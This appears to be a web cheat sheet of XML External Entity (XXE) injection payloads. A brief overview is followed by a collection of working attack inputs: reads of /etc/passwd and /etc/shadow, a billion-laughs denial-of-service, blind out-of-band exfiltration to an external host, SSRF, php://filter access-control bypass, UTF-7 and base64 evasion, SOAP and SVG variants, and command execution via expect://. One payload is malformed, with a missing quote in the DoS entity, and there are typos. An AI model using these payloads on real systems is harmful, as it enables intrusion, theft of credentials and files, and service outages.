An XML External Entity (XXE) attack (sometimes called an XXE injection attack) is a type of attack that abuses a widely available but rarely used feature of XML parsers. Using XXE, an attacker is able to cause Denial of Service (DoS) as well as access local and remote content and services. XXE can be used to perform Server Side Request Forgery (SSRF) iducing the web application to make requests to other applications. In some cases, XXE may even enable port scanning and lead to remote code execution. There are two types of XXE attacks: in-band and out-of-band (OOB-XXE).
There are various types of XXE attacks:

XXE Attack Type	Description
Exploiting XXE to Retrieve Files	Where an external entity is defined containing the contents of a file, and returned in the application's response.
Exploiting XXE to Perform SSRF Attacks	Where an external entity is defined based on a URL to a back-end system.
Exploiting Blind XXE Exfiltrate Data Out-of-Band	Where sensitive data is transmitted from the application server to a system that the attacker controls.
Exploiting blind XXE to Retrieve Data Via Error Messages	Where the attacker can trigger a parsing error message containing sensitive data.

XML External Entity (XXE) Injection Payloads

XXE: Basic XML Example

<!--?xml version="1.0" ?-->
<userInfo>
 <firstName>John</firstName>
 <lastName>Doe</lastName>
</userInfo>

XXE: Entity Example

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

XXE: File Disclosure

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

XXE: Denial-of-Service Example

<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>

XXE: Local File Inclusion Example

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

XXE: Blind Local File Inclusion Example (When first case doesn't return anything.)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>

XXE: Access Control Bypass (Loading Restricted Resources - PHP example)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>

XXE:SSRF ( Server Side Request Forgery ) Example

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>

XXE: (Remote Attack - Through External Xml Inclusion) Exmaple

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>

XXE: UTF-7 Exmaple

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

XXE: Base64 Encoded

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

XXE: XXE inside SOAP Example

<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

XXE: XXE inside SVG

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>

References :
XML External Entity (XXE) Processing
XML External Entity Prevention Cheat Sheet
Testing for XML Injection (OTG-INPVAL-008)
What Are XML External Entity (XXE) Attacks